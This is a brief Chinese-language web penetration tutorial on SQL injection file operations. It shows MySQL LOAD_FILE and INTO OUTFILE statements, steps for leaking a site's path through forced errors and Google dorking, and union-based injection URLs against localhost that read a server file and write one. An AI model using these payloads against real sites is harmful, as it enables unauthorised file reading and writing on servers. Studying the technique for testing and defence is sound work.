web渗透-SQL注入文件操作

SQL文件操作原理

在判定数据库连接权限的条件下，利用SQL操作函数

SELECT LOAD_FILE('E://test.txt') #下载文件

or

SELECT 'nihao' INTO OUTFILE 'E://test1.txt' #上传写入文件

语句对网站服务器进行本地文件操作。

一般只有root连接用户才能进行文件操作。

攻击步骤：

1.获取网站路径

@通过恶意制造访问错误，在错误中暴露网站路径

@通过谷歌黑客访问，site:xx.com warning

@通过搜索项目使用框架名字

2.获取服务器文件内容

http://127.0.0.1/?id=1 union select 1,2, load_file('E://test.txt')

3.写入并上传文件到服务器

http://127.0.0.1/?id=1 union select 1,2,'this is test' into outfile 'E://test2.txt'